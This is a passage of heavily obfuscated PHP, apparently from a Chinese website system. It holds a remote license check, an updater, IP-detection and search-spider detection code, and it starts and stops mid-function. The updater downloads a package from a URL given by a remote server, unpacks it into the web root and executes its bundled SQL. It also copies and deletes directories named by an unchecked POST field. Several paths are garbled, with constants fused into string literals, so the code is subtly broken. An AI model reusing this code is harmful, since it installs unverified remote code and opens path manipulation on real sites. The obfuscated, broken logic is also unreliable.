call_user_func_array("curl_setopt", $K4pzA1); $K4pzA1 = array(); $K4pzA1[] =& $ch; $K4pzA1[] = CURLOPT_POSTFIELDS; $K4pzA1[] =& $data; $K4peF0 = call_user_func_array("curl_setopt", $K4pzA1); goto K4pxcp; } $K4pA5 = !empty($data); $K4pA6 = (bool) $K4pA5; if ($K4pA6) { $K4pzA2 = array(); $K4pzA2[] =& $data; $K4peF1 = call_user_func_array("is_array", $K4pzA2); $K4pA6 = (bool) $K4peF1; goto K4pxcr; } K4pxcr: if ($K4pA6) { $K4pA5 = $url . '?'; $K4pzA1 = array(); $K4pzA1[] =& $data; $K4peF0 = call_user_func_array("http_build_query", $K4pzA1); $K4pA6 = $K4pA5 . $K4peF0; unset($K4ptIA7); $K4ptIA7 = $K4pA6; $url = $K4ptIA7; goto K4pxcp; } K4pxcp: $K4pzA1 = array(); $K4pzA1[] =& $ch; $K4pzA1[] = CURLOPT_URL; $K4pzA1[] =& $url; $K4peF0 = call_user_func_array("curl_setopt", $K4pzA1); $K4pzA1 = array(); $K4pzA1[] =& $ch; $K4peF0 = call_user_func_array("curl_exec", $K4pzA1); unset($K4ptIA5); $K4ptIA5 = $K4peF0; $result = $K4ptIA5; $K4pA5 = $result === false; if ($K4pA5) { return false; } $K4pzA1 = array(); $K4pzA1[] =& $ch; $K4peF0 = call_user_func_array("curl_close", $K4pzA1); return $result; } } $K4pzA1 = array(); $K4pzA1[] = "/var/www/html/input.php"; $K4peFvP0 = call_user_func_array("dirname", $K4pzA1); $K4pvPA5 = $K4peFvP0 . '/'; $K4pzA3 = array(); $K4pzA3[] = 'SF_ROOT'; $K4pzA3[] =& $K4pvPA5; $K4peF2 = call_user_func_array("define", $K4pzA3); $K4pA5 = "SF_ROOTAuthInfo.php"; $K4pA6 = (include $K4pA5); $K4pA5 = new Authorization(); unset($K4ptIA6); $K4ptIA6 = $K4pA5; $authorization = $K4ptIA6; $K4pA5 = $islogin == 1; if ($K4pA5) { $K4pA5 = !empty($_SESSION['SF_CheckAuthResult']); if ($K4pA5) { unset($K4ptIA5); $K4ptIA5 = $_SESSION['SF_CheckAuthResult']; $result = $K4ptIA5; $K4pzA1 = array(); $K4pzA1[] =& $result; $K4peF0 = call_user_func_array("is_array", $K4pzA1); if ($K4peF0) { unset($K4ptIA5); $K4ptIA5 = Authorization::publicDecrypt($result['data']['time']); $time = $K4ptIA5; $K4pA5 = $time + Authorization::TIME; $K4pzA1 = array(); $K4peF0 = call_user_func_array("time", $K4pzA1); $K4pA6 = $K4pA5 > $K4peF0; if ($K4pA6) { $K4pA5 = $result['code'] != 0; if ($K4pA5) { Authorization::Message($result['msg']); goto K4px2n; } K4px2n: goto K4px2l; } unset($_SESSION['SF_CheckAuthResult']); K4px2l: goto K4px2j; } unset($_SESSION['SF_CheckAuthResult']); Authorization::Message('链接服务器失败'); K4px2j: goto K4px2h; } $K4pzA1 = array(); $K4pzA2 = array(); $K4pzA2[] = $authorization; $K4pzA2[] = "checkInfo"; $K4phC0 = call_user_func_array($K4pzA2, $K4pzA1); unset($K4ptIA5); $K4ptIA5 = $K4phC0; $result = $K4ptIA5; $K4pA5 = !$result; if ($K4pA5) { Authorization::Message('链接服务器失败'); goto K4px2p; } $K4pA5 = $result['data']['code'] == 0; if ($K4pA5) { unset($K4ptIA5); $K4ptIA5 = $result; $_SESSION['SF_CheckAuthResult'] = $K4ptIA5; goto K4px2r; } $K4pA5 = $result['data']['code'] == 1; if ($K4pA5) { goto K4px2r; } Authorization::Message($result['msg']); K4px2r: K4px2p: K4px2h: goto K4px2f; } K4px2f: if (isset($_POST['SF_Action'])) { $K4pA5 = $_POST['SF_Action']; goto K4px2u; } $K4pA5 = null; K4px2u: unset($K4ptIA6); $K4ptIA6 = $K4pA5; $SF_Action = $K4ptIA6; $K4pA5 = !empty($SF_Action); if ($K4pA5) { $K4pzA1 = array(); $K4pzA1[] = 'update'; $K4pzA2 = array(); $K4pzA2[] = $authorization; $K4pzA2[] = "checkInfo"; $K4phC0 = call_user_func_array($K4pzA2, $K4pzA1); unset($K4ptIA5); $K4ptIA5 = $K4phC0; $result = $K4ptIA5; $K4plFkgHhx2y = $SF_Action; $K4pA5 = $K4plFkgHhx2y == 'check'; if ($K4pA5) { $K4pA5 = !$result; if ($K4pA5) { $K4pzA0 = array(); $K4pzA0['code'] = 1; $K4pzA0['msg'] = '啊哦,更新服务器开小差了,请刷新此页面。'; unset($K4ptIA5); $K4ptIA5 = $K4pzA0; $data = $K4ptIA5; $K4pzA1 = array(); $K4pzA1[] =& $data; $K4peF0 = call_user_func_array("json_encode", $K4pzA1); exit($K4peF0); } $K4pzA1 = array(); $K4pzA1[] =& $result; $K4peF0 = call_user_func_array("json_encode", $K4pzA1); exit($K4peF0); } $K4pA5 = $K4plFkgHhx2y == 'update'; if ($K4pA5) { $K4pA5 = !empty($_POST['dirname']); if ($K4pA5) { unset($K4pcV1); $K4pzA4 = array(); $K4pzA4[] =& $_POST; $K4peF3 = call_user_func_array("is_array", $K4pzA4); if ($K4peF3) { $K4pcV1 =& $_POST['dirname']; goto K4px37; } $K4pcV1 = $_POST['dirname']; K4px37: $K4pzA2 = array(); $K4pzA2[] =& $K4pcV1; $K4peF0 = call_user_func_array("is_dir", $K4pzA2); $K4pA5 = !$K4peF0; if ($K4pA5) { $K4pzA0 = array(); $K4pzA0['code'] = 2; $K4pzA0['msg'] = '不存在此目录,请输入正确的后台目录!'; unset($K4ptIA5); $K4ptIA5 = $K4pzA0; $data = $K4ptIA5; $K4pzA1 = array(); $K4pzA1[] =& $data; $K4peF0 = call_user_func_array("json_encode", $K4pzA1); exit($K4peF0); } unset($K4ptIA5); $K4ptIA5 = $_POST['dirname']; $_SESSION['dirname'] = $K4ptIA5; goto K4px34; } K4px34: $K4pvPA5 = "ROOTadmin"; $K4pzA1 = array(); $K4pzA1[] =& $K4pvPA5; $K4peF0 = call_user_func_array("is_dir", $K4pzA1); $K4pA6 = !$K4peF0; $K4pA7 = (bool) $K4pA6; if ($K4pA7) { $K4pA7 = (bool) empty($_SESSION['dirname']); goto K4px3b; } K4px3b: if ($K4pA7) { $K4pzA0 = array(); $K4pzA0['code'] = 2; $K4pzA0['msg'] = '系统检测到您已更改过后台目录名,请填写您现在的后台目录名,以便更新覆盖!'; unset($K4ptIA5); $K4ptIA5 = $K4pzA0; $data = $K4ptIA5; $K4pzA1 = array(); $K4pzA1[] =& $data; $K4peF0 = call_user_func_array("json_encode", $K4pzA1); exit($K4peF0); } unset($K4ptIA5); $K4ptIA5 = $result['data']['data']['url']; $downloadUrl = $K4ptIA5; unset($K4ptIA5); $K4ptIA5 = 'SF.zip'; $ZipFile = $K4ptIA5; unset($K4pEc2); $K4pEc2 = array(); foreach ($result['data']['data']['download'] as $res) { $K4pEc2[] = $res; } $K4p2i = 0; K4px4e: $K4pzA1 = array(); $K4pzA1[] =& $K4pEc2; $K4peF0 = call_user_func_array("count", $K4pzA1); $K4pA5 = $K4p2i < $K4peF0; if ($K4pA5) { $K4p2Key = array_keys($K4pEc2); $K4p2Key = $K4p2Key[$K4p2i]; unset($K4ptIA5); $K4ptIA5 = $K4pEc2[$K4p2Key]; $res = $K4ptIA5; $K4pvPA5 = $downloadUrl . $res; $K4pzA1 = array(); $K4pzA1[] =& $K4pvPA5; $K4pzA1[] =& $ZipFile; $K4peF0 = call_user_func_array("copy", $K4pzA1); $K4pA6 = !$K4peF0; if ($K4pA6) { $K4pzA0 = array(); $K4pzA0['code'] = 1; $K4pzA0['msg'] = '无法下载更新包文件!'; unset($K4ptIA5); $K4ptIA5 = $K4pzA0; $data = $K4ptIA5; $K4pzA1 = array(); $K4pzA1[] =& $data; $K4peF0 = call_user_func_array("json_encode", $K4pzA1); exit($K4peF0); } unset($K4ptIA5); $K4ptIA5 = ''; $addstr = $K4ptIA5; $K4pzA1 = array(); $K4pzA1[] =& $ZipFile; $K4pzA1[] = ROOT; $K4peF0 = call_user_func_array("zipExtract", $K4pzA1); if ($K4peF0) { if (function_exists("opcache_reset")) { $K4pzA1 = array(); $K4pzA1[] = "error_reporting"; $K4peF0 = call_user_func_array("ini_get", $K4pzA1); unset($K4ptIA5); $K4ptIA5 = $K4peF0; $GLOBALS["Ox8117"] = $K4ptIA5; $K4pzA1 = array(); $K4pzA1[] = 0; $K4peF0 = call_user_func_array("error_reporting", $K4pzA1); $K4pzA1 = array(); $K4peF0 = call_user_func_array("opcache_reset", $K4pzA1); $K4peRA5 = $K4peF0; unset($K4pcV1); $K4pzA4 = array(); $K4pzA4[] =& $GLOBALS; $K4peF3 = call_user_func_array("is_array", $K4pzA4); if ($K4peF3) { $K4pcV1 =& $GLOBALS["Ox8117"]; goto K4px4n; } $K4pcV1 = $GLOBALS["Ox8117"]; K4px4n: $K4pzA2 = array(); $K4pzA2[] =& $K4pcV1; $K4peF0 = call_user_func_array("error_reporting", $K4pzA2); goto K4px3i; } K4px3i: $K4pA5 = "ROOTupdate.sql"; unset($K4ptIA6); $K4ptIA6 = $K4pA5; unset($K4ptIA5); $K4ptIA5 = $K4ptIA6; $sqlFile = $K4ptIA5; unset($K4ptIA5); $K4ptIA5 = 0; $t = $K4ptIA5; unset($K4ptIA5); $K4ptIA5 = 0; $e = $K4ptIA5; unset($K4ptIA5); $K4ptIA5 = ''; $error = $K4ptIA5; $K4pzA1 = array(); $K4pzA1[] =& $sqlFile; $K4peF0 = call_user_func_array("is_file", $K4pzA1); if ($K4peF0) { $K4pzA1 = array(); $K4pzA1[] =& $sqlFile; $K4peF0 = call_user_func_array("file_get_contents", $K4pzA1); unset($K4ptIA5); $K4ptIA5 = $K4peF0; $sql = $K4ptIA5; $K4pzA1 = array(); $K4pzA1[] = ';'; $K4pzA1[] =& $sql; $K4peF0 = call_user_func_array("explode", $K4pzA1); unset($K4ptIA5); $K4ptIA5 = $K4peF0; $sql = $K4ptIA5; unset($K4ptIA5); $K4ptIA5 = 0; $i = $K4ptIA5; K4px3m: $K4pzA1 = array(); $K4pzA1[] =& $sql; $K4peF0 = call_user_func_array("count", $K4pzA1); $K4pA5 = $i < $K4peF0; if ($K4pA5) { unset($K4pcV1); $K4pzA4 = array(); $K4pzA4[] =& $sql; $K4peF3 = call_user_func_array("is_array", $K4pzA4); if ($K4peF3) { $K4pcV1 =& $sql[$i]; goto K4px3q; } $K4pcV1 = $sql[$i]; K4px3q: $K4pzA2 = array(); $K4pzA2[] =& $K4pcV1; $K4peF0 = call_user_func_array("trim", $K4pzA2); $K4pA5 = $K4peF0 == ''; if ($K4pA5) { goto K4px3n; } unset($K4pcV1); $K4pzA5 = array(); $K4pzA5[] =& $sql; $K4peF4 = call_user_func_array("is_array", $K4pzA5); if ($K4peF4) { $K4pcV1 =& $sql[$i]; goto K4px3u; } $K4pcV1 = $sql[$i]; K4px3u: $K4pzA2 = array(); $K4pzA2[] =& $K4pcV1; $K4pzA3 = array(); $K4pzA3[] = $DB; $K4pzA3[] = "exec"; $K4phC0 = call_user_func_array($K4pzA3, $K4pzA2); $K4pA5 = $K4phC0 !== false; if ($K4pA5) { $K4poB3 = $t + 1; unset($K4ptIA5); $K4ptIA5 = $K4poB3; $t = $K4ptIA5; $K4poB2 = $t; goto K4px3t; } $K4poB4 = $e + 1; unset($K4ptIA5); $K4ptIA5 = $K4poB4; $e = $K4ptIA5; $K4poB3 = $e; $K4pzA1 = array(); $K4pzA2 = array(); $K4pzA2[] = $DB; $K4pzA2[] = "error"; $K4phC0 = call_user_func_array($K4pzA2, $K4pzA1); $K4pA5 = $K4phC0 . ''; $K4pA5 = $error . $K4pA5; unset($K4ptIA6); $K4ptIA6 = $K4pA5; unset($K4ptIA5); $K4ptIA5 = $K4ptIA6; $error = $K4ptIA5; $K4pnWA6 = $error; K4px3t: K4px3n: $K4poB4 = $i; $K4poB5 = $i + 1; unset($K4ptIA5); $K4ptIA5 = $K4poB5; $i = $K4ptIA5; goto K4px3m; } K4pldMhx3y: K4px3x: $K4pzA1 = array(); $K4pzA1[] = "error_reporting"; $K4peF0 = call_user_func_array("ini_get", $K4pzA1); unset($K4ptIA5); $K4ptIA5 = $K4peF0; $GLOBALS["Ox8117"] = $K4ptIA5; $K4pzA1 = array(); $K4pzA1[] = 0; $K4peF0 = call_user_func_array("error_reporting", $K4pzA1); $K4pzA1 = array(); $K4pzA1[] =& $sqlFile; $K4peF0 = call_user_func_array("unlink", $K4pzA1); $K4peRA5 = $K4peF0; unset($K4pcV1); $K4pzA4 = array(); $K4pzA4[] =& $GLOBALS; $K4peF3 = call_user_func_array("is_array", $K4pzA4); if ($K4peF3) { $K4pcV1 =& $GLOBALS["Ox8117"]; goto K4px52; } $K4pcV1 = $GLOBALS["Ox8117"]; K4px52: $K4pzA2 = array(); $K4pzA2[] =& $K4pcV1; $K4peF0 = call_user_func_array("error_reporting", $K4pzA2); $K4pA5 = '数据库更新成功。SQL成功' . $t; $K4pA6 = $K4pA5 . '句/失败'; $K4pA7 = $K4pA6 . $e; $K4pA8 = $K4pA7 . '句'; unset($K4ptIA9); $K4ptIA9 = $K4pA8; unset($K4ptIA5); $K4ptIA5 = $K4ptIA9; $addstr = $K4ptIA5; goto K4px3k; } K4px3k: $K4pzA1 = array(); $K4pzA1[] = "error_reporting"; $K4peF0 = call_user_func_array("ini_get", $K4pzA1); unset($K4ptIA5); $K4ptIA5 = $K4peF0; $GLOBALS["Ox8117"] = $K4ptIA5; $K4pzA1 = array(); $K4pzA1[] = 0; $K4peF0 = call_user_func_array("error_reporting", $K4pzA1); $K4pzA1 = array(); $K4pzA1[] =& $ZipFile; $K4peF0 = call_user_func_array("unlink", $K4pzA1); $K4peRA5 = $K4peF0; unset($K4pcV1); $K4pzA4 = array(); $K4pzA4[] =& $GLOBALS; $K4peF3 = call_user_func_array("is_array", $K4pzA4); if ($K4peF3) { $K4pcV1 =& $GLOBALS["Ox8117"]; goto K4px54; } $K4pcV1 = $GLOBALS["Ox8117"]; K4px54: $K4pzA2 = array(); $K4pzA2[] =& $K4pcV1; $K4peF0 = call_user_func_array("error_reporting", $K4pzA2); $K4pvPA5 = '更新包解压成功' . $addstr; $K4pzA0 = array(); $K4pzA0['code'] = 0; $K4pzA0['msg'] = $K4pvPA5; unset($K4ptIA6); $K4ptIA6 = $K4pzA0; unset($K4ptIA5); $K4ptIA5 = $K4ptIA6; $data = $K4ptIA5; $K4pvPA5 = "ROOTadmin"; $K4pzA1 = array(); $K4pzA1[] =& $K4pvPA5; $K4peF0 = call_user_func_array("is_dir", $K4pzA1); $K4pA7 = (bool) $K4peF0; if ($K4pA7) { $K4pA6 = !empty($_SESSION['dirname']); $K4pA7 = (bool) $K4pA6; goto K4px49; } K4px49: if ($K4pA7) { $K4pvPA5 = "ROOTadmin"; $K4pvPA6 = ROOT . $_SESSION['dirname']; $K4pzA1 = array(); $K4pzA1[] =& $K4pvPA5; $K4pzA1[] =& $K4pvPA6; $K4peF0 = call_user_func_array("copydirs", $K4pzA1); $K4pvPA5 = "ROOTadmin"; $K4pzA1 = array(); $K4pzA1[] =& $K4pvPA5; $K4peF0 = call_user_func_array("rmdirs", $K4pzA1); goto K4px48; } K4px48: $K4pzA1 = array(); $K4pzA1[] =& $data; $K4peF0 = call_user_func_array("json_encode", $K4pzA1); exit($K4peF0); } $K4pzA1 = array(); $K4pzA1[] =& $ZipFile; $K4peF0 = call_user_func_array("file_exists", $K4pzA1); if ($K4peF0) { $K4pzA1 = array(); $K4pzA1[] = "error_reporting"; $K4peF0 = call_user_func_array("ini_get", $K4pzA1); unset($K4ptIA5); $K4ptIA5 = $K4peF0; $GLOBALS["Ox8117"] = $K4ptIA5; $K4pzA1 = array(); $K4pzA1[] = 0; $K4peF0 = call_user_func_array("error_reporting", $K4pzA1); $K4pzA1 = array(); $K4pzA1[] =& $ZipFile; $K4peF0 = call_user_func_array("unlink", $K4pzA1); $K4peRA5 = $K4peF0; unset($K4pcV1); $K4pzA4 = array(); $K4pzA4[] =& $GLOBALS; $K4peF3 = call_user_func_array("is_array", $K4pzA4); if ($K4peF3) { $K4pcV1 =& $GLOBALS["Ox8117"]; goto K4px5c; } $K4pcV1 = $GLOBALS["Ox8117"]; K4px5c: $K4pzA2 = array(); $K4pzA2[] =& $K4pcV1; $K4peF0 = call_user_func_array("error_reporting", $K4pzA2); goto K4px4c; } K4px4c: $K4pzA0 = array(); $K4pzA0['code'] = 1; $K4pzA0['msg'] = '解压更新包失败,请稍后重试'; unset($K4ptIA5); $K4ptIA5 = $K4pzA0; $data = $K4ptIA5; $K4pzA1 = array(); $K4pzA1[] =& $data; $K4peF0 = call_user_func_array("json_encode", $K4pzA1); exit($K4peF0); } K4pldMhx5f: K4px5e: $K4pzA0 = array(); $K4pzA0['code'] = 1; $K4pzA0['msg'] = '已更新至最新版本'; unset($K4ptIA5); $K4ptIA5 = $K4pzA0; $data = $K4ptIA5; $K4pA5 = !empty($_SESSION['dirname']); if ($K4pA5) { unset($_SESSION['dirname']); goto K4px6d; } K4px6d: $K4pzA1 = array(); $K4pzA1[] =& $data; $K4peF0 = call_user_func_array("json_encode", $K4pzA1); exit($K4peF0); } goto K4px2w; } $K4pA5 = $conf['lt_version'] < DB_VERSION; if ($K4pA5) { $K4pA5 = !$install; if ($K4pA5) { $K4pzA1 = array(); $K4pzA1[] = '请先完成网站升级!<a href="/install/update.php"><font color=red>点此升级</font></a>'; $K4peF0 = call_user_func_array("sysmsg", $K4pzA1); exit; } goto K4px6j; } K4pldMhx6k: K4px6j: K4px2w: $K4pA5 = $_GET['getNotice'] == '1'; if ($K4pA5) { $K4pzA1 = array(); $K4pzA2 = array(); $K4pzA2[] = $authorization; $K4pzA2[] = "getNotice"; $K4phC0 = call_user_func_array($K4pzA2, $K4pzA1); unset($K4ptIA5); $K4ptIA5 = $K4phC0; $result = $K4ptIA5; $K4pA5 = !$result; if ($K4pA5) { $K4pzAvP0 = array(); $K4pzAvP0['code'] = 1; $K4pzA2 = array(); $K4pzA2[] =& $K4pzAvP0; $K4peF1 = call_user_func_array("json_encode", $K4pzA2); exit($K4peF1); } $K4pzAvP0 = array(); $K4pzAvP0['code'] = 0; $K4pzAvP0['data'] = $result; $K4pzA2 = array(); $K4pzA2[] =& $K4pzAvP0; $K4peF1 = call_user_func_array("json_encode", $K4pzA2); exit($K4peF1); } K4px6n: function x_real_ip() { unset($K4ptIA5); $K4ptIA5 = $_SERVER['REMOTE_ADDR']; $ip = $K4ptIA5; $K4pA5 = (bool) isset($_SERVER['HTTP_X_FORWARDED_FOR']); if ($K4pA5) { unset($K4pcV2); $K4pzA5 = array(); $K4pzA5[] =& $_SERVER; $K4peF4 = call_user_func_array("is_array", $K4pzA5); if ($K4peF4) { $K4pcV2 =& $_SERVER['HTTP_X_FORWARDED_FOR']; goto K4px6s; } $K4pcV2 = $_SERVER['HTTP_X_FORWARDED_FOR']; K4px6s: $K4pzA3 = array(); $K4pzA3[] = "#\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}#s"; $K4pzA3[] =& $K4pcV2; $K4pzA3[] =& $matches; $K4peF1 = call_user_func_array("preg_match_all", $K4pzA3); $K4pA5 = (bool) $K4peF1; goto K4px6u; } K4px6u: if ($K4pA5) { unset($K4pEc1); $K4pEc1 = array(); foreach ($matches[0] as $xip) { $K4pEc1[] = $xip; } $K4p1i = 0; K4px7z: $K4pzA1 = array(); $K4pzA1[] =& $K4pEc1; $K4peF0 = call_user_func_array("count", $K4pzA1); $K4pA5 = $K4p1i < $K4peF0; if ($K4pA5) { $K4p1Key = array_keys($K4pEc1); $K4p1Key = $K4p1Key[$K4p1i]; unset($K4ptIA5); $K4ptIA5 = $K4pEc1[$K4p1Key]; $xip = $K4ptIA5; $K4pzA1 = array(); $K4pzA1[] = "#^(10|172\\.16|192\\.168)\\.#"; $K4pzA1[] =& $xip; $K4peF0 = call_user_func_array("preg_match", $K4pzA1); $K4pA5 = !$K4peF0; if ($K4pA5) { unset($K4ptIA5); $K4ptIA5 = $xip; $ip = $K4ptIA5; goto K4px6x; } K4pldMhx6y: K4px6x: $K4p1i += 1; goto K4px7z; } K4pldMhx76: K4px75: goto K4px6r; } $K4pA5 = (bool) isset($_SERVER['HTTP_CLIENT_IP']); if ($K4pA5) { unset($K4pcV2); $K4pzA5 = array(); $K4pzA5[] =& $_SERVER; $K4peF4 = call_user_func_array("is_array", $K4pzA5); if ($K4peF4) { $K4pcV2 =& $_SERVER['HTTP_CLIENT_IP']; goto K4px79; } $K4pcV2 = $_SERVER['HTTP_CLIENT_IP']; K4px79: $K4pzA3 = array(); $K4pzA3[] = '/^([0-9]{1,3}\\.){3}[0-9]{1,3}$/'; $K4pzA3[] =& $K4pcV2; $K4peF1 = call_user_func_array("preg_match", $K4pzA3); $K4pA5 = (bool) $K4peF1; goto K4px7b; } K4px7b: if ($K4pA5) { unset($K4ptIA5); $K4ptIA5 = $_SERVER['HTTP_CLIENT_IP']; $ip = $K4ptIA5; goto K4px6r; } $K4pA5 = (bool) isset($_SERVER['HTTP_CF_CONNECTING_IP']); if ($K4pA5) { unset($K4pcV2); $K4pzA5 = array(); $K4pzA5[] =& $_SERVER; $K4peF4 = call_user_func_array("is_array", $K4pzA5); if ($K4peF4) { $K4pcV2 =& $_SERVER['HTTP_CF_CONNECTING_IP']; goto K4px7e; } $K4pcV2 = $_SERVER['HTTP_CF_CONNECTING_IP']; K4px7e: $K4pzA3 = array(); $K4pzA3[] = '/^([0-9]{1,3}\\.){3}[0-9]{1,3}$/'; $K4pzA3[] =& $K4pcV2; $K4peF1 = call_user_func_array("preg_match", $K4pzA3); $K4pA5 = (bool) $K4peF1; goto K4px7g; } K4px7g: if ($K4pA5) { unset($K4ptIA5); $K4ptIA5 = $_SERVER['HTTP_CF_CONNECTING_IP']; $ip = $K4ptIA5; goto K4px6r; } $K4pA5 = (bool) isset($_SERVER['HTTP_X_REAL_IP']); if ($K4pA5) { unset($K4pcV2); $K4pzA5 = array(); $K4pzA5[] =& $_SERVER; $K4peF4 = call_user_func_array("is_array", $K4pzA5); if ($K4peF4) { $K4pcV2 =& $_SERVER['HTTP_X_REAL_IP']; goto K4px7k; } $K4pcV2 = $_SERVER['HTTP_X_REAL_IP']; K4px7k: $K4pzA3 = array(); $K4pzA3[] = "/^([0-9]{1,3}\\.){3}[0-9]{1,3}\$/"; $K4pzA3[] =& $K4pcV2; $K4peF1 = call_user_func_array("preg_match", $K4pzA3); $K4pA5 = (bool) $K4peF1; goto K4px7m; } K4px7m: if ($K4pA5) { unset($K4ptIA5); $K4ptIA5 = $_SERVER['HTTP_X_REAL_IP']; $ip = $K4ptIA5; goto K4px7j; } K4pldMhx7o: K4px7j: K4px6r: return $ip; } function check_spider() { unset($K4pcV1); $K4pzA4 = array(); $K4pzA4[] =& $_SERVER; $K4peF3 = call_user_func_array("is_array", $K4pzA4); if ($K4peF3) { $K4pcV1 =& $_SERVER['HTTP_USER_AGENT']; goto K4px7p; } $K4pcV1 = $_SERVER['HTTP_USER_AGENT']; K4px7p: $K4pzA2 = array(); $K4pzA2[] =& $K4pcV1; $K4peF0 = call_user_func_array("strtolower", $K4pzA2); unset($K4ptIA5); $K4ptIA5 = $K4peF0; $useragent = $K4ptIA5; $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'baiduspider'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'baiduspider'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'googlebot'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'googlebot'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = '360spider'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return '360spider'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'soso'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'soso'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'bing'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'bing'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'yahoo'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'yahoo'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'sohu-search'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'Sohubot'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'sogou'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'sogou'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'youdaobot'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'YoudaoBot'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'robozilla'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'Robozilla'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'msnbot'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'msnbot'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'lycos'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'Lycos'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'ia_archiver'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = !$K4peF0; $K4pA6 = $K4pA5 === false; if ($K4pA6) { goto K4px8g; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'iaarchiver'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = !$K4peF0; $K4pA6 = $K4pA5 === false; if ($K4pA6) { return 'alexa'; } K4px8g: $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'archive.org_bot'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'Archive'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'sitebot'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'SiteBot'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'gosospider'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'gosospider'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'gigabot'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'Gigabot'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'yrspider'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'YRSpider'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'gigabot'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'Gigabot'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'wangidspider'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'WangIDSpider'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'foxspider'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'FoxSpider'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'docomo'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'DoCoMo'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'yandexbot'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'YandexBot'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'sinaweibobot'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'SinaWeiboBot'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'catchbot'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'CatchBot'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'surveybot'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'SurveyBot'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'dotbot'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'DotBot'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'purebot'; $K4peF0 = 